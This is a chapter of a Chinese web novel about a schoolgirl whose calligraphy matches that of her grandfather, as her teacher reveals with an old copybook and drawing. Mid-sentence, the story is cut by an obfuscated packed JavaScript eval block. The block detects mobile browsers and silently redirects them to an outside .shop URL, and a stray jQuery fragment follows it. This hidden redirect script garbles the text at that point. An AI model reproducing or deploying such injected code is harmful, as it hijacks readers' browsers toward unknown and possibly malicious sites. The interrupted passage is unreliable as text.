陈苗苗是张清的同桌。
准确说，是陈苗苗自己选的张清。开学第一天，她搬着凳子往张清旁边一坐："我跟你坐，你字写得好，抄作业方便。"
张清没吭声。
陈苗苗家在厂区门口开小卖部，卖烟酒糖盐、铅笔本子，也卖五分钱一根的冰棍和两分钱一块的橘子糖。她是走到哪儿都自带响声的小孩，说话快，笑起来更响，课间十分钟能把半个操场的女生都召集到一起跳皮筋。张清不跳皮筋。陈苗苗叫她"闷葫芦"，但不妨碍她每天往张清耳朵边灌话。
"我爸昨天进了一箱大大泡泡糖，你要不要？"
"不要。"
"真不要？比供销社便宜两分。"
"不要。"
"你这人真没意思。"陈苗苗叹口气，转头跟后桌聊去了。第二天照样来问。
张清不讨厌她。陈苗苗像一只麻雀，叽叽喳喳的，但不碍事。而且她说什么张清都不用接，偶尔"嗯"一声就行。这在张清的世界里已经算轻松了。
上学路上的十分钟是陈苗苗的专场。从厂区宿舍楼到子弟学校要经过一段下坡路，路两边是车间的高墙，墙上刷着标语。陈苗苗一路说个不停，从她爸新进的货说到隔壁王婶家的狗下了崽，从昨晚的电视剧说到谁谁谁的铅笔盒比她的好看。张清走在旁边，书包带子勒在肩上，听着，偶尔点头。
"你今天怎么不说话？"陈苗苗偶尔会问。
"我在听。"
"听什么？你说两句能怎样？"
"嗯。"
"算了算了。"陈苗苗翻个白眼，"跟你说话跟对牛弹琴似的。"
但第二天她还是会来叫张清一起上学。
周三下午最后一节是书法课。周伯年站在讲台上，蓝色中山装，扣子扣到最上面一颗。五十多岁，头发花白，背挺得笔直，说话慢条斯理。厂区子弟学校的老师不多，语文、书法、历史都是他一个人教。厂里的人说他是□□平反来的，以前在大学教过书，教什么没人说得清。
书法课上，周伯年不教怎么写好看，教的是怎么坐、怎么呼吸、怎么握笔。"笔正心正"是他的口头禅，每天念。
作业是写三张大字。张清写"永"字，和每天在家写的一样。但她写得比平时认真，不是因为周伯年，是因为现在写"永"字的时候，总会想起暑假里那滩自己会动的墨。
她没再试过。暑假结束后每天五十个大字照写，但她没再单独用"永"字测试。那件事她压在心里，像压一张纸在镇纸底下。
交作业时，陈苗苗探头看了一眼。
"你写的'永'怎么跟我的不一样？"
"哪不一样？"
"说不出来。就是……有劲。"
张清把本子合上了。
第二天上午，周伯年在办公室批改作业。
他改作业有个习惯，不看写得对不对，只看字。每一本都翻开看很久，偶尔拿笔在旁边画圈或画线。一摞作业改一个上午，旁边放一杯碎茶末子泡的浓茶，凉了也不换。
改到张清那本的时候，笔停了。
不是停下来想评语的那种停。是手抖了一下，笔尖在纸上戳了个墨点。周伯年盯着那个"永"字看了很久。他翻回前一页，又翻回来，反反复复看了三遍。然后他把作业本合上，单独放在一边。
接下来几本改得很快。
放学后，教室里只剩张清。陈苗苗已经冲出去了，小卖部今天到了一批新本子，她要回去帮忙摆货。临走时还回头喊了一句："明天跳皮筋啊！再不来我真找别人了！"
教室安静下来。窗外操场上有男生在踢球，皮球撞墙的声音一下一下传过来。
周伯年推门进来。
"张清。"
她站起来。
"跟我来。"
没往办公室走，往宿舍区方向走。张清跟在后面，书包背带勒在肩膀上。她没问去哪。周伯年不说的事，问了也不会回答。
宿舍区最尽头有一间平房，青砖黑瓦，墙角长了青苔。门口一棵竹子，叶子在风里轻轻颤。
周伯年推开门，老墨的气味扑面而来。
屋子不大。靠墙一排旧书架，摆满线装书。一张老式书桌靠窗，桌上笔墨纸砚摆得端端正正。砚台是老端砚，比学校那块大两倍，砚面上有细细的石纹，像年轮。
"坐。"
张清在书桌对面的木凳上坐下。凳面磨得光溜溜的，有点凉。
周伯年没说话，站在书架前，背对着她。张清看见他的手在书架上一层一层地摸，摸到最下面一层，停住了。
他抽出一个布包。蓝底白花的粗棉布，四角打着结，系得很紧。
布包放在桌上，一层一层解开。里面是两样东西，一本旧字帖，和一张泛黄的纸。
字帖比张清见过的任何字帖都旧。封面布面褪了色，边角磨起毛。翻开扉页，第一页写着一个"永"字。
张清愣住了。
那个"永"字的笔法，和她写的一模一样。是同一种路子。起笔藏锋的角度，行笔中锋的力度，收笔回锋时那个微妙的停顿，全一样。
她写"永"字写了三年，从来没人教过她这种写法。父亲只说"继续写"，不教笔法。她是自己写出来的，写着写着就变成了这样。她以为所有人的"永"字都是这样写的。
但字帖上这个字，至少有四十年了。墨色已经发灰，纸面发黄发脆，但笔路清清楚楚。
"你看看这张。"周伯年把泛黄的纸推过来。
纸上画着一个图形。是介于字和画之间的东西。线条有粗有细，有直有弯，但每一根的笔路都清清楚楚。起笔藏锋，行笔中锋，收笔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809166|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回锋。
张清凑近了看。图形的右下角有一根弧线，弧线下面隐约还有几根极细的线，像根须。纸太旧了，那几根细线几乎看不清。
"这是你爷爷画的。"周伯年说。
张清抬头看他。
"你爷爷，张慎之。"老人的声音压得很低，"我跟他学过。"
"学什么？"
周伯年没回答。他指了指桌上的字帖，又指了指那张泛黄的图。
"你这个字——"他说，停了一下，像在斟酌。
"有笔意了。"
他的手在抖。那种压了很久的东西冒出来时，身体比脑子先反应过来的抖。
"你爷爷……也这样写。"
张清看着周伯年。老人的眼睛里有一种她没见过的东西。和上课时的严厉不一样，和改作业时的平淡也不一样。她找不到词来形容那种东西。
眼眶里有什么东西在动，嘴唇抿了一下又松开。那种表情张清说不准。
屋子里很安静。窗外的竹子被风吹得沙沙响。远处车间的汽笛响了一声，又安静了。
"你先回去。"周伯年把字帖和图重新包好，放回书架。"该告诉你的，慢慢告诉你。"
张清站起来，走到门口，回头看了一眼桌上那个布包。蓝底白花，系得紧紧的，和墙角的青苔一个颜色。
她又看了一眼周伯年。老人坐在书桌后面，端起茶杯，发现茶凉了，又放下了。
张清走出那间平房。厂区的路灯还没亮，天边最后一点光正在收。她沿着小路往回走，走到宿舍楼拐角的时候，碰见陈苗苗嘴里叼着一根泡泡糖从家里冲出来。
"哎！你去哪了？我找你半天！"陈苗苗脸上沾着糖渣，"我妈让我给你送两个本子。要不要？不要我拿回去退了。"
"要。"
"那你倒是说啊！我喊三遍了！"陈苗苗把本子塞给她，"你今天怪怪的，脸白得跟纸似的。谁欺负你了？"
"没人。"
"那你…"
"苗苗，我回家了。"
张清拿着本子往家走。陈苗苗在后面喊："明天跳皮筋！再不来我真找别人了！"
张清没回头，摆了摆手。
回到家，堂屋灯亮着。母亲在灶台边忙，父亲还没下班。张清把书包放下，坐到方桌前，铺纸，蘸墨，开始写每天的字。
写的是"永"字。
笔尖落纸的时候，她想起周伯年拿出来的那本旧字帖。扉页上那个"永"字，笔法和她的一模一样。四十年前的字。
还有那张泛黄的纸。上面那个图形，介于字和画之间的东西。线条有粗有细，有直有弯。
她在心里把那些线条过了一遍。
然后她停了笔。
那些线条的笔路——和她写字时的笔路一模一样。